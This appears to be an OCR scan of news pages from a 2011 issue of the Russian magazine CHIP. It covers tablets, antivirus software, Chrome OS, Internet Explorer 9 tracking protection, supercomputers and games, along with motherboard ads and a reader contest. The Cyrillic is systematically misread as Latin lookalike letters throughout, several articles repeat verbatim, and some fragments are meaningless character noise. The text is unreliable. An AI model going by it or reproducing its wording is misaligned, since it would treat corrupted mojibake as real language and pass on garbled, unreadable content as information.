AMOHHa^i CMdeMa y>Ke BbuecHmia iOS c 
JlMAMpyKDlAMX n03MAMM Ha pbiHKe CMapT(|30 - 
hob — Tenepb onepeAb 3a n/iaH weTaMn. 

llepBbiM ycrpoMCTBOM, AGHCTBMTe/ibHO npe- 
bocxoa^iamm iPad no xapaicrepncTnKaM, CTa/i 
njiaHiueTHbm KOMnbiOTep Adam ot mhamm- 
ckom KOMnaHMH Notion Ink. 3Ta MOAe/ib c 
AecflTMAfOMMOBbiM Ancn/ieeM (1024x600 to- 
neK) nocTpoeHa Ha npon3BOAHTe/ibHon n 


3Hepro3KOHOMMHHOM n/iaTc|)opMe NVIDIA 
Tegra 2. n/iaHweT cnoco6eH BOcnpon3BO- 
AMTb BMAeo b TeneHMe 6 4, a b pe>KHMe 
cepc|3MHra pa6oTaeT 6e3 noA3apaAKn ao 15 h. 
Oh ocHaneH nopTaMn USB, HDMI-BbixoAOM 
n BceMM 6ecnpoBOAHbiMM MHTepcf)eMca- 
mm. Ho maBHoe npenMynecTBO Adam — 
Ancn/ien Pixel Qi, KOTopbin He MepKHeT 
Aa>Ke npn caMOM apKOM co/ihchhom cBe- 
Te. n pH 3 tom AeHa ycrponcTBa b MaKcn- 
Ma/ibHoPi KOMn/ieKTaiiMM cocTaB/meT $550 
(16 700 py6/ien). ■www.notionink.com 



AHTHBMpyCbl 


TenoxpaHMTenb Ns 2 


Microsoft BbinycTM^a y/iyn- 
nieHHyK) BepcMK) CBoero 
6ecn/iaTHoro aHTMBkipyc- 
Horo naKeTa — Security 
Essentials 2. Oh ncno/ib3y- 
eT HOBbIM ABM>KOK nnx 06- 
Hapy>KeHM5i BpeAOHocHbix 
nporpaMM, 6o/iee TecHo 
MHTerpMpyera co Bcrpo- 
eHHbiM b Windows 6paHA- 
MayapoM n Internet Exp- 
lorer. KpoMe Toro, coo6- 


naera 06 yBe/iMHMBineM- 

Cfl npOM3BOAMTe/lbHOCTM 
npoAyKTa. flaHHbm aHTi/i- 
Bkipyc MO>KeT pa6oTaTb b 
W indows XP SP2, Vista n 
«ceMepKe». llpaBAa, b XP 
ecTb He Bee cjDyHKunn, hto 
CB 5l3aHO C MCn0/lb30BaHM- 
eM 6n6/inoTeK Windows 
Filtering Platform, Aocryn- 
HblX TOJlbKO B CBe>KMX Bep- 

cmx OC. ■ www.microsoft.ru 


Byflymee 

HacTynmio 

B TOM, HTO H HTepHeT 
AB/meTca caMbiM nepe- 
AOBbiM n nepcneKTMB- 
HblM HOCMTe/ieM MH- 
c|DopMauMM, Tenepb He 
coMHeBaeTCfl Aawe Ta- 
Kaa KOHcepBaTMBHa^i 
ny6/inKa, KaK peK/iaMO- 
AaTe/iM. ComacHo npo- 
rH033M 3Ha/l MTMHeCKO- 
ro areHTCTBa eMarket, 
no MToraM 2010 roAa 
pbiHOK oH/ian H-peK/ia- 
Mbi BnepBbie onepe- 
AMT no 6fOA>KeTaM ne- 
HaTHbie HOCMTe/lM — 
$25,8 mjipa npoTMB 
$22,8 m^pa. noKa ne- 
pe^OM 3ac|)MKCMpOBaH 
TO/ibKO b CLUA, OAHa- 
KO 3a HHMH H3BepH51- 
Ka noc/ieAyfOT m APy- 
me CTpaHbi. 

■ www.emarketer.com 



AKKyMy/iflTopbi 

EaTapen touiiimhom 
c boiioc 


yneHbie M3 YHMBepcMTeTa Panca (Xbioc- 
toh, lUTaT Texac) co3Aa/in caMyio Ma/ieHb- 
KyK) b Mkipe no/iMMepHyK) 6aTapeio Ha 
ocHOBe HaHonpoBO/iOKM. To^LAMHa npoTO- 
TMna cocTaB^^eT 200 hm, hto noHTi/i b 
500 pa3 MeHbiue, neM y He/iOBenecKoro 
Bo^oca. flocTMHb TaKoro HeBepojiTHoro no- 
Ka3aTe^5i yAa/iocb c noMOiAbio npocBenn- 
BaKDiAero 3/ieKTpoHHoro MMKpocKona. B oc- 
HOBy pa3pa6oTKM ^ema KOHAenumi noA 
Ha3B3HMeM «cf)pOHT MeAy3», 3aCTaBMBLUa51 
no-HOBOMy B3r/i5iHyTb Ha MHome ycTO^B- 
mneC51 npeACTaB^eHMfl 06 3C|)C|3eKTMBHOCTM 
pa6oTbi coBpeMeHHbix 6aTapePi. no 3aflB/ie- 
HM51M pa3pa60THMK0B, 3/ieMeHT nO/lHOCTbfO 
3ap5i>KaeTC5i 3a OAHy MMHyTy, a KO/iMnecTBO 
>KM3HeHHbix AMK/iOB npeBbiiuaeT 1000. 

■ www.rice.edu 
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BOJlbWe H 0 B 0 CT 6 M - 

Ha www.ichip.ru 

Bbicipasi ccbi/iKa Ha catiT (cm. cip. 6) ^ 



TexHOJiorHH 

C6opU|HK 

SHeprMM 

1/lcc/ieAOBaie/ibCKoe noApa3fle- 
zieHMe Fujitsu o6-bflBmio o co3- 
A3 hmm npoTOTMna ycrpoMCTBa, 
Bbipa6aTbiBaK)mero 3/ieKTpnHe- 
ctbo M 3 OKpywaiomeM cpeflbi — 
CBeia m Ten/ia. B cociaB vv\ 6 pv\- 
Aa BX0A^TTepM03/ieKTpMHeCKMM 
reHepaiop m co/iHenHan 6aia- 
pen. Hto MHTepecHo, oh cocto- 
MT M 3 OAHOrO TMna 5HeeK M3 op- 
raHMHecKMx no/iynpoBOAHMKOB. 
Bon/iomeHMe b pea/ibHbie nop- 
TaTMBHbie ycrpoMCTBa, no/iyna- 
ioiAMe 3HeprMio «M3 B03Ayxa», 
3an^aHMpoBaHO Ha 2015 toa- 
■ www.fujitsu.com 



BMHHeciep 
Ha 24 T6aftT — 
peaubHOCTb 

M H>KeHepbi KOHCopuMy- 
wa NEDO npM noAAepw- 
Ke Hitachi pa3pa6oia- 
J1 M HOByiO TeXHO/lOTMiO 
CTpyKTypMpoBaHM 5 i 
K/iaCTepOB >KeCTKMX 
AMCkob. 5/iaroAapn 
npMMeHeHMKD y/ibTpa- 
coBpeMeHHbix no/iM- 
MepHbix MaiepMa/iOB 
pa3Mep oahoto K/iac- 
Tepa yMeHbWM/icn co 
100 ao 12 HM. flaHHbIM 
HayHHbiM npopbiB no3- 
BO/15ieT yBe/IMHMTb 
n/iOTHOCTb 3anMCM Ha 
n/iacTMHax HDD c Hbi- 
HeiUHMX 500 T6MT AO 
3,9 T6 mt Ha KBaApaTHbm 
AKDMM, TO eCTb B BOCeMb 
pa3. awww.nedo.go.jp 


mst 



ru.msi.com 




fl 3 blKM (iporpaMMHpOBaHHH 

HarnaflHan pa3pa6oTKa 


Visual Basic for Application b 
CB oe BpeMn cia/i A3biKOM, no3- 
BOJIMBLUMM MHOWeCTBy /1KDAOM 
co3AaBaTbc|DyHKUMOHajibHoe no 
C MMHMMa/lbHblMM yCMJIMJIMM. 
B03M0>KH0, aHa/lOTMHHblM MH- 
CTpyMeHTOM A/ifl no/ib30BaiejieM 
ycTpoMCTB Ha 6a3e Android OS 
ciaHeT oH/iaMHOBbiM cepBMc App 
Inventor. ripnMO b OKHe 6pay3e- 
pa c ero noMOiAbio mowho C 03- 
AaBaTb npn/ioweHMfl: onpocbi, 
CnOBapM,yTM/lMTbl PJ\S\ OTC/ie>KM- 


BaHMfl Mapiupyia m t. n. Ohm 
CM oryT no/iynaTb AOCTyn ko BceM 
pecypcaM kom MyH m K aiopa — 
ceHcopaM,Te/iec|)OHHbiM m My/ib- 
TMMeAMMHblM (fDyHKAMflM M Aa>Ke 
6M6/iMOTeKaM pacno3HaBaHMn 
peHM. ripM 3 tom Heo6n3aienbHo 
yHMTb Java — nporpaMMa C03- 
Aaera b BM 3ya/ibHOM pe>KMMe 
nyieM nepeiacKMBaHMn Hy>KHbix 
KOMnOHeHTOB Ha BMpTya/lbHblM 
AMcn/iePi KOMMyHMKaiopa. 
a http://appinventor.googlelabs.com 
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* rioflflep)KKa npoueccopOB Intel 
Core i7/i5/i3BLGA 1155 

* KoMnoHeHTbi Military Class II 

* TexHonomn OC Genie II 

* l"loflflep>KKa BIOS chip x 2 

* rioflAepjKKa Super charger 

* rionnepjKKa USB3.0 m SATA6Gb/s 



floAflepwKa npoueccopOB Intel® Core™ i7 n 
Intel® Core™ i5 0opM-0aicropa LGA1156 
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Ha www.ichip.ru 
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TexHOJiorHH 

C6opU|HK 

SHeprMM 

1/lccneAOBaie/ibCKoe noApa3fle- 
zieHMe Fujitsu o6-bflBmio o co3- 
A3 hmm npoTcrmna ycrpoMCTBa, 
Bbipa6aTbiBaK)mero 3/ieKTpnHe- 
ctbo M3 OKpywaiomeM cpeflbi — 
CBeia m Ten/ia. B cociaB vv\6pv\- 
Aa BX0A^TTepM03/ieKTpMHeCKMM 
reHepaiop m co/iHeiHan 6aia- 
pen. Hto MHTepecHo, oh cocto- 
MT M3 OAHOrO TMna 5HeeK M3 op- 
raHMHecKMx no/iynpoBOAHMKOB. 
Bon/iomeHMe b pea/ibHbie nop- 
TaTMBHbie ycrpoMCTBa, no/iyna- 
ioiAMe 3HeprMK) «M3 B03Ayxa», 
3an^aHMpoBaHO Ha 2015 toa- 
■ www.fujitsu.com 



BMHHeciep 
Ha 24 T6aftT — 
peaubHOCTb 

M H>KeHepbi KOHCopuMy- 
wa NEDO npM noAAepw- 
Ke Hitachi pa 3 pa 6 oia- 
J 1 M HOByiO TeXHO/lOTMiO 
CTpyKTypMpoBaHM 5 i 
K/iaCTepOB >KeCTKMX 
AMCkob. 5 /iaroAapn 
npMMeHeHMKD y/ibTpa- 
coBpeMeHHbix no/iM- 
MepHbix MaiepMa/iOB 
pa 3 Mep oahoto K/iac- 
Tepa yMeHbWM/icn co 
100 ao 12 HM. flaHHbIM 
HayHHbiM npopbiB no 3 - 
BO/lfleT yBe/IMHMTb 
n/iOTHOCTb 3 anMCM Ha 
n/iacTMHax HDD c Hbi- 
HeiUHMX 500 T 6 MT AO 
3,9 T 6 mt Ha KBaApaTHbm 
AKDMM, TO eCTb B BOCeMb 
pa3. awww.nedo.go.jp 


mst 



ru.msi.com 




fl 3 blKM (iporpaMMHpOBaHHH 

HarnaflHan pa3pa6oTKa 


Visual Basic for Application b 
CB oe BpeMn cia/i A 3 biKOM, no 3 - 
BOJIMBLUMM MHOWeCTBy / 1 KDAOM 
co3AaBaTbc|DyHKUMOHajibHoe no 
C MMHMMa/lbHblMM yCMJIMJIMM. 
B 03 M 0 >KH 0 , aHa/lOTMHHblM MH- 
CTpyMeHTOM A/ifl no/ib 30 BaiejieM 
ycTpoMCTB Ha 6 a 3 e Android OS 
ciaHeT oH/iaMHOBbiM cepBMc App 
Inventor. ripnMO b OKHe 6 pay 3 e- 
pa c ero noMOiAbio mowho C 03 - 
AaBaTb npn/ioweHMfl: onpocbi, 
CnOBapM,yTM/lMTbl PJ\S\ OTC/ie>KM- 


BaHMfl Mapmpyia m t. n. Ohm 
CM oryT no/iynaTb AOCTyn ko BceM 
pecypcaM kom MyH m K aiopa — 
ceHcopaM,Te/iec|)OHHbiM m My/ib- 
TMMeAMMHblM (fDyHKAMflM M Aa>Ke 
6 M 6 /iMOTeKaM pacno 3 HaBaHMn 
peHM. ripM 3tom Heo6n3aienbHo 
yHMTb Java — nporpaMMa C03- 
Aaera b BM3ya/ibHOM pe>KMMe 
nyieM nepeiacKMBaHMn Hy>KHbix 
KOMnOHeHTOB Ha BMpTya/lbHblM 
AMcn/iePi KOMMyHMKaiopa. 
a http://appinventor.googlelabs.com 



* rioflflep)KKa npoueccopos Intel 
Core i7/i5/i3BLGA 1155 

* KoMnoHeHTbi Military Class II 

* TexHonomn OC Genie II 

* l"loflflep>KKa BIOS chip x 2 

* rioflAepjKKa Super charger 

* rionnepjKKa USB3.0 m SATA6Gb/s 



CHIP I OEBPAJlb 2011 www.ichip.ru 


Featuring the Intel® 6 series chipset family 





am? HOBOCTM 



B cooTBeTCTBMM c noc/ieflHwvm TeHfleHpuflMi/i b 
IT-M upe b 6 jin>KaiiLueM fiyflymeivi Bee 6e3 mck/iio- 
neHHfl 3 JieKTpi/iHecKne npn 6 opbi b flOMe ciaHyT 
oSbeflMHaTbca b oSmyio KOMribiOTepHyio ceTb. 


I BeflCKMM npOM3BOflHTe/lb 6blTOBOM 
TexHMKM Electrolux roTOBMT k Bbi- 
nycKy Heo6bNHbm xo/ioflM/ibHMK 
Infinity I-Kitchen. Yctpomctbo pa6oiaei 
nofl ynpaB/ieHMeM OC Linux m Kpyr/iocyTOH- 
ho noAK^foneHO k 1/lmepHeiy. B ero flsepuy 
BdpoeH ceHcopHbm aKpaH c pa3pemeHneM 
480x800 ToneK, hto b coneTaHHM c ARM- 
npoueccopoM Freescale i.MX25 c nacTOTOM 
400 MTp m 128 M6aPiT onepaTMBHOM naMATM 
(tohho TaKafl we kohc(dm rypauMii, KaK y no- 
ny/mpHoro CMapic|DOHa Nokia 5800) no3- 
BO/meT He TOJibKO ocymecTB^5iTb cepcfiMHr 


b CeTM, ho m 3anycKaTb 
CBbiiue 600 cneuna/ib- 
HblX npMJlOWeHMM, KOTOpbie 
MoryT 6biTb no/ie3Hbi bo BpeMfl 
npnroTOBjieHM5i 6 jik>a m HanmKOB. 
Tpac|DMHecKa5i cpeAa Enlightenment ot- 
jimhho pa6oTaeT Aawe Ha cro/ib ckpomhom 
o6opyAOBaHMM, npeAOcraBjmeT cjDyHKAMM 
Ka/ieHAap5i m 3aMeTOK, a TaKwe no3BO/meT 
o6iAaTbCfl b couMa/ibHbix ceiax m npocMaipu- 
BaTb M3o6pa>KeHM5i 6o^biuMHCTBa pacnpo- 
CTpaHeHHbix c|3opMaTOB. llowajiyM, a nn 
no/iHOTbi KapTMHbi He xBaiaeTTO/ibKO oaho- 


TO HOBOBBe- 
AeHMfl — aBTOMaTM- 
necKoro KOHTpo/i5i 3a 3anacaMM npoBMaH- 
Ta M CBOeBpeMeHHOrO MH(|DOpMMpOBaHMfl 06 
mx MccflKaHMM. K cowa/ieHMfo, noKa HeM3- 
BecTHO, KorAa Infinity I-Kitchen 6yqeT 3a- 
nyneH b cepMMHoe npoM3BOACTBO. 

■ www.electrolux.ru 


TexHOJiorMM 


XOHOfll/lflbHHK 

c Linux 


KOMMyHMKaTOpbl 

«flByXCMMOHHblM» 

flonroxcMTenb 

80 nacoB BOcnpoM3BeAeHM5i My3bi- 
km — Ha TaKoe cnoco6eH Aawe He 
KawAbm ayAMon/ieep. Ho mmchho 
cmnbKO, no yTBepwAeHMfo Philips, 
pa6oTaei HOBbrn Mo6M/ibHbm Te/ie- 
c(do h Xenium X513. B pewMMe owm- 
A aHMfl oh MoweT npoAepwaibCfl ao 
AByx Mec^ueB (npaBAa, b /ia6opaiop- 
Hbix yc/iOBMflx, ho uncf)pa Bee paBHO 
BneHauiflei). Annapai MHTepeceH 
He TOJ1 bKO npOAO/DKMTe/lbHblM Bpe- 
MeHeM pa6oTbi ot oahoto 3ap^Aa 
aKKyMyjmiopa. flpyraa ero oco6eH- 
HOdb — noAAepwKa Aayx SIM-KapT. 
Te/iec|DOH o6/iaAaeT ciporMM K/iaccu- 
HeCKMM AM33MHOM. flaHHbie MOWHO 
xpaHMTb Ha Kapiax naMATM microSD 
o6‘beMOM ao 16 r6aMT. Annapai 
npeAHa3HaneH f\s\s\ ceieu GSM m 
noAAepwMBaei EDGE. PeKOMeHAy- 
eMan po3HMHHan ueHa moaojim — 

4999 py6/iePi. ■ www.philips.ru 



Ao 2-x Mecai^ee b p 



rpatpMnecKMe xapTbi 

Ha onepeMemie 

AMD npeAdaBM^a rpacfDMHecKMe aAamepbi 
Radeon HD 6970/6950, ocHaneHHbie 2 r 6 aMT 
BMAeonaM5iTM ciaHAapia GDDR5. BMAeoKapibi 
nodpoeHbi Ha M3roiaB/iMBaeMOM no 40-Ha- 
HOMeipoBOM TexHOJiorMM HMne c n^oLAaAbfo 
KpMCTa/uia 389 mm 2 (2,64 M/ipA TpaH3MCTO- 
pOB), KOTOpbIM M3BeCTeH nOA KOAOBbIM MMe- 
HeM Cayman. Y crap wen moaojim nacTOTbi 
nApa m naMATM cocraB/mfOT 880 m 1375 MI"a 
cooTBeTCTBeHHo, b to BpeMfl KaKy Radeon HD 
6950 3 tm noKa 3 aie/iM paBHbi 800 m 1250 MI"a. 
KOMMyHMKaUMOHHbie B03MOWHOCTM 060 MX 
npoAyKTOB npeAcraB/ieHbi AeyNm pa3i>eMaMM 
DVI, nopTOM HDMI 1.4a m napoPi BbixoAOB 
Mini DisplayPort 1.2. ■www.amd.ru 
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BOJlbWe HOBOCTBH - 

Ha www.ichip.ru 

EbiCTpaa ccbi/iKa Ha caMT (cm. cip. 6) ^ 



OnepauHOHHbie CMCTeMbi 

HenpMBbiiHan 
Chrome OS 


KoMnaHMA GoogLe cflep- 
>Ka/ia c/iobo m npeAdaBM- 
jia ny6/WKe Asa nepcneK- 
TMBHblX npOAYKTa: HOByiO 
onepauMOHHyio cncTeMy 
Chrome OS, opnem-npoBaH- 
Hyio Ha pa6oiy b cpeAe 
6pay3epa n klHTepHeie, a 
TaioKe Chrome Web Store, 

Mara3MH n pn/i o>Ke h i/i m a J ifl 
Hee. HaBnraun5i b 6pay3ep- 
hom OC opraHM30BaHa He- 
npMBbiHHo: npi/moweHi/m 
1/1 AOKyMeHTbl HaXOA^TC51 
Ha BiuiaAKax Be6-o6o3peBa- 
Te/m. KaK yBep^iOT pa3pa- 
6 othmkm, npMBbiKaHMe He 
3aMMeT mhoto BpeMeHi/i. 
3TOMy 6yAeT cnoco6cT- 
BOBaTb Ham^AHblM koh- 

? ^ JjT 3 ijj jj &twiiklkKtR.. 


TeMHepHbIM HHTepcfieMC. 
Bbidpbm Aocryn k npn- 
ji o>KeH i/i5i m o6ecneHMBaeT 
naHe/ib c BMA>KeTaMi/i, pac- 
n0J10>KeHHafl B HM)KHen 
nacTi/i 3KpaHa. 

K co>Ka/ieHmo, cjDMHa/ib- 
Hbm BbixoA Chrome OS 
CABMHyT KOMnaHnen Ha ce- 
peAMHy 2011 roAa. 3a 3 to 
B peM5i n/iaHnpyeTCfl ncnpa- 
BMTb 60/iee 2000 OLUM6 oK 
n npoBecTi/i TiAaie^bHoe 
6eia-TecTnpoBaHMe. OAHa- 
ko Mara3MH npi/i/io>KeHi/iM 
Chrome Web Store totob k 
i/icno/i b30BaH i/i k> i/i ywe Ha- 
CHmbiBaeT 60/iee 500 pa3- 
n MHHbix nporpaMM nnn 
3tom 0C. ■ www.google.com 


H 

{inul 

Hnlnul 

VjhMl.k l*J 

s 

CJhvIv 

Si 

YajTidu 

0 

PiciuAVb 

n 

Q 

E 

% 


v 

To-^bhl 



Buidct 

4 

OWM- 

i 




B 




IE 9 3aillMTMT 
OT CJie>KKM 


B AeBflToPi BepcMM 
Internet Explorer no- 

flBMTCfl B03M0>KH0CTb 
6/lOKMpOBaTb MexaHI/13- 
Mbl C/ieweHMfl CO CTOpO- 
Hbi Be6-caPiTOB. OHa 
n03B0/lMT OrpaHMHMBaTb 
cropoHHne kom n aH i/i i/i 
b Ha6/iiOAeHMM 3a nepe- 
MeiAeHMflMM noceime- 
jien. «3aiAma ot OTC/ie- 
>k i/i b a h i/i » (Tracking 
Protection) 6yAeT 3a- 
BMCeTb OT cnncKOB, 
co3AaBaeMbix no/ib30- 
Baie/i5iMM. TyAa bomayt 
aApeca canTOB, c koto- 
pblMM OHM He XOT51T 
AeJlMTbCfl MHC|)OpMaUM- 
en. llpMHeM AaHHbiPi 

MexaHH3M 6yAeiaKTM- 
BeH BO BpeMfl JlK)6blX 
ceaHcoB npocMOTpa, a 
He mribKO b In Private. 
BHeApeHHe 3Toro mh- 
CTpyMeHTa Bbi3Ba/io 
npoTecT CO CTOpOHbl 
HeKOTOpbIX peK/iaMHbIX 
ceTen, KOTopbie onaca- 
10TC51, HTO OHO HaHeceT 
ynep6 6n3Hecy. 

■ www.microsoft.ru 



MaKpofleHbrM 
Ann HaHonneepa 


flM3aPiHep M3 HMKaro CkottYm^coh npnAyMa/i 
opMTMHa/ibHbiM aKceccyap nnn iPod nano, 
npeBpanaioiAMM MP3-n/ieep b HapyHHbie 
nacbi. PeMeiuoK 6yAeT BbinycKaTbca b AByx 
BepcM^x, pa3/iMHaioiAMxc5i BapnaHTaMM Kpe- 
nneHMfl n/ieepa, — TikTok CTOMMOCTbio $35 
(1070 py6 .) m LunaTik 3a $70 (2140 py6.). 

B 3 tom hoboctm He 6bi/io 6bi HMHero oco- 
6eHHoro, ec/iM 6bi He cnoco6, KOTopbiM 6bi- 
jim co6paHbi AeHbm Ha 3anycK npoeKTa. Ha 
caMTe Kickstarter.com, cneunajiM3npyioLAeM- 
ca Ha c6ope cpeACTB ajia crapTanoB, jho 6 om 
>K e/iaK)iAMM Mor BHecTM He6ojibwyK) cyMMy 
(ot $20, to ecTb 650 py6/ien) Ha pea/iM3apMK) 
3aAyMKM. B c/iynae ycnexa MHBecTop no- 
jiynaji hobum aKceccyap co 3HaHMTe/ibHOM 
CKMAKOM. yAMBMTeJlbHO, HO CjoaKT: Ha T3KMX 
yc/iOBMflx aBTopy yAa/iocb co6paTb mmjuimoh 
AO/ uiapoB, KOToporo OKa3a/iocb Bno/iHe ao- 
CTaTOHHO A-na 3anycKa npoeKTa. 

■ www.kickstarter.com 


npuMHTe ynacTHe b KOHKypce nnaieiKHoro cepBuca QIWI (KMBM) 


Si 

O 

o 

Q. 


1. Cko/i bKO nei cymecTByeT npeMM« «ABTOMo6wnb rofla» b Pocchm? 

■'A. 11 nei r E. 5 neT B. 15 jigt 

2. Kawafl MapKa CTana noSeRHTeneM npomnoro ropa b h o m hh a u, h w 
■HOBMHKa rOfl3“? 

r A. Mercedes-lSenz £. &MW ~5T7Vjd~r 


o 

CQ 


3. B krkom rofly ronocoBaHine CTano flocTynHO Ha Tep mhh a max QIWI? 

■'A. 201 Or. 

B~20DTr 


cu 

X 

CD 

5 


'B. 2001 r. 

4. CKonbKO HGHOB6K nporojiocoBaiio aa ina6nMbiM aaTOMo6Hiib 4epea TepMMHa/ibi 
QIWI b 2010 rofly? 

A-EoneeTO tbica h 

'B. Bones MM/mnoHa Henoe&K 

r B. Bonee 1 0 t brcan MenoseK 


h 

CD 

CQ 

H 

o 


5. Kaicas; MapKa btdpdm mA noApnfl npeAOCTasnneT rnaBHbiH npwa no6eAMT&/iH> 
HapoflHoro ronocoBaHHn? 

r A. Hyundai r B. Mercedes-Benz "B. Nissan 

6. CKonbKO MOAeneti aBTOMo6nneM npeflCTaEJieHbi a stom ropy fliis roiiDcoeaHKn? 

A. 375 6. 10 "B. 120 



rJiaBHblM npH3 

BHpiyanbHa?i npeAon/ia- 
HeHHaa KapTa QIWI VISA 
Virtual HOMUHa/ioM 
10 000 py6. 

noomptue/ibHbie npn3bi 

5 BMpiyarbHbix npeflonna- 
neHHbix KapT QIWI VISA 
Virtual HOMHHanoM 
2 000 pyO. 

ripusbi nonysaT nepebie 
ujecTb HMTaTeneM 1 npucnae- 
Luwe npaBMAbHwe OTBeTbi na 
Bonpocbi KOHKypca no aflpecy: 
chipkonkurs @ burda.ru 
AO 11 Cbespana 201 1 r. 


K ynaCTMtO b KOHKypce AOnyCKaiOTCn nnqa GTapLUO 16 neT. B niiCbMO nOMtiMO oteotob h& 3aA3HiMO KOHKypca npOCHM yKaaaTb Mo6nnbHbiw. TenecfiOH, aAP^C 

anOKTpOHHOw noHTbi. VnacTHnKM, npMcnaBiuna oTBeibi na aonpecbi m cbqh AaHHbie f cnimFOTCfl aa bujmmm corxiacvie Ha e6pa6oTKy obohx aaHHbix in ny6aMKauM»o mx 
b JKypHane CHIP w b LlHiepHeTe. O cppKax v\ nopsAse BbiftaHw npwaoB noSeAWTeab n o6aaflaTenn nPOLMpuTenbHbix npnaoB 6 vavt ysaAOMneBbi no anoKTpOHHOM 
nOHTe a TeneHMe 2 Anew C wrOMeHia nOflaeASHMsi HTprpB KOHKypca. 1/lTOnn KOHKypca 6yAyr nOABeftaHhi 15,03 201 1 . Ilpii3b] npefleeTaaneMbi naaTOxcHbiM cepenCOM 
QIWI (KUBH). llMOHa noOeAMTOnn v\ oOnaAaTefioM npOLApHTenbHbix npnapB fiyflyT onyOntiKpsaHti b jKypnane CHIP Ne 4 m ha cawie www.ichlp.ra, 

QIWI — otfemviaribHbiM napinep rpeMMki -ABTOMOfinrb toa 3^, floApoOHee o npeMHn — na www.autogoda.ru, ronocyw 3a moOwMbiw astOMoenJibl 



am? HOBOCTM 


CynepKOMnbhOTepbi 

KmaMCKMM 

BblHMCJlMTeJlbHblM 

MOHCTP 

CynepKOMnbiOTepbi y>Ke nepepoc/11/1 M 3 M 3 BecTHbix 
TO/ibKO b y 3 Knx HayHHbix xpyrax oSbeKTOB b npeflivieTbi 
HaUMOHa/lbHOM rOpflOCTM OTfle/lbHO B 3 flTblX cipaH. 



B pePiTMHre mouhcm lu mx Bbinnc/iM- 
Te/ibHbix cncreM npon30w/ia CMeHa 
/iMAepa. Co3flaHHbm c npMMeHeHMeM 
14 336 npoueccopoB Intel Xeon X5670 n 
7168 rpac|)nHecKMx aflamepoB NVIDIA Tesla 
M2050 KmaMCKMM cynepKOMnbfoiepTianhe- 
la M 3 HauMOHa^bHoro yHMBepcMTeia 060 - 

pOHHblX TeXHO/lOrMM B TOpOfle TflHbp 3 MHb 
noflBMHy^ Ha BTopoe Mecro aMepMKaHCKMM 
Jaguar, nocrpoeHHbm KOMnaHMePi Cray Ha 
6 a 3 e HMnoB AMD Opteron. BbiHMC/iMTe/ibHafl 


MOiAHOCTb Tianhe-la b Tecie UNPACK, koto- 

pblM 53 BJ 153 eTC 53 06 lAenpMH 5 ITblM CTaHflapTOM 
A/i 5 i M 3 MepeHM/i 6 bicTpoAeMCTBM 5 i cynepKOM- 
nbfOTepoB, cocraB/meT 2,507 neia^onc. 
Tenepb, noc/ie 3 anycKa 3 Toro «MOHcrpa», 
KMTaM B/iaAeeT AByM 5 i M 3 Tpex MoiAHeMWMx 
BblHMC/lMTe/lbHblX M 3 L 1 JMH B MMpe — TpeTbe 
MecTO b peMTMHre 3 aHMMaeT Nebulae. 

B o 6 HOB/ieHHbm Ton-500 cynepKOMnbfo- 
TepoB nona/iM m poccMMCKMe CMcreMbi. Ha 
17 CTpoHKe 3 aKpenM/ic/i T-PlatformsT-Blade2, 


nO/iyHMBLUMM MM 5 I «Il 0 M 0 H 0 C 0 B» M yCTaHOB- 
zieHHbiM b Mcc/ieAOBaie/ibCKOM ueHTpe Mry. 
B/iaroAap/i 35 000 npoueccopaM m 54 T 6 aMT 
onepaTMBHOM naM 5 iTM ero npoM 3 BOAMTe/ib- 
HOCTb AOCTMraeT 350 rnra^onc. 

y>Ke b 2012 roAyAO/i>KHa npoM 30 MTM HOBa/i 
CMeHa /iMAepa: KOMnaHMM IBM m Intel 3a- 
BepiUaT CTpOMTe/lbCTBO B TepMaHMM CMCTeMbl 
SuperMUC, kotopom AO/i>KeH noKopMTbc/i 
py 6 e>K b 3 neiac|)/ionc. 

■ www.top500.org 



llrpbi 

rno6anbHbiN Cataclysm 


TexHOJiormi 

Pacno3HaBaHne 

B 3 aMM 0 fleCTBMi 


KoMnbiOTep Haynn/ioi pem- 
CTpMpoBaTb o 6 t> 5 itm 5 i, noue/iyM 
m pyKono>KaTM 5 i: yneHbie M 3 
0 KC(| 3 opACKoro yHMBepcMTeia 
co 3 Aa/iM TexHo/iorMio, pac- 
no 3 HaioiAyK) TaKne b 33 mmo- 
AeMCTBM/l /UOAeM B BMAeopO- 
ziMKax. ripM aHa/iM 3 e 110 06 - 
Hapy>KMBaeT /HOAePi b KaApe, 


M3Mep/ieT paccroflHne Me>K- 
Ay HMMM M OUeHMBaeT opM- 
eHTauMK) mx ro/iOB. TexHO/io- 
rM53 MO)KeT 6 blTb nO/ie3HOM 
A/i/i noMCKa Hy>KHoro BMAeo 
b CeTM m/im 6 bidpoM nepe- 
motkm c)dm/i bMa ao onpeAe- 
zieHHOM cueHbi. 

■ www.robots.ox.ac.uk 


TpeTbe Aono/iHeHMe a/i* World 
of Warcraft — Cataclysm — no- 
c/ie dapia npoAa>K no6M/io mho- 
me peKopAbi B MrpOBOM MHAy- 
CTpMM, 33TMMB pe3y/lbTaTbl KaK 
nony/i5ipHbix OH/iaMH-myiepoB, 
HanpMMep Call of Duty: Black Ops, 
TaK m co6cTBeHHbie. 3a nepBbie 
24 naca noc/ie BbixoAa 6bi/io npo- 
AaHO 6o/iee 3,3 m/ih KonMM (b 
c/iynae c npeAbiAyiAMM Aono/iHe- 
HMeM — Wrath of the Lich King — 
3Ta UMcfDpa codaBM/ia 2,8 m/ih). 
flaHHbm cjDeHOMeH zierKO o6-b5ic- 


HMTb oneHb 6o/ibiuoM 6a30M noA- 
nMCHMKOB OH/iaMH-Mrpbl, HaCHM- 
TbiBaKDiAeM CBbirne 12 m/ih ne/io- 
BeK. KpoMe Toro, pa3pa6oTHMKM 
Hen/ioxo npoAyMa/iM CTMMy/ibi: 
Ao6aB/ieHbi ABe HOBbie pacbi — 
BopreHbi m ro6/iMHbi, noBbimeHa 
n/iaHKa MaKCMMa/ibHoro ypoBH5i 
nepcoHa>Ka (c 80 ao 85), no/iBM/i- 
C5i HOBbm OTpMAaie/ibHbiM nepco- 
H3)K — ApaKOH CMepTOKpbl/1. 
CTOMMOCTb 3/ieKTpOHHOM BepCMM 
Aono/iHeHM5i C0daB/i5ieT399 py6- 
/ieM. ■ http://eu.blizzard.com 
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npH cofleiicTBHH ruiaTewHoro cepBHca QIWI (KI1BM) 


CTPAXOBOM flOM 


O0HI4Ma/lbHblM CTpaxO B IH H K 


auto.ru 


TBoe MHeHne 


autogoda.ru 


autorating. n QUAtTRORuoie i 1 


3BT0 




MMccT 3HaHeHlie! 


ro/iocy 

cenHac! 


3KCKJ1K)314BHblM CnOHCOp 

@ntinental 

liliiHbi paapaSoTaHbi b TepMaHwn. 


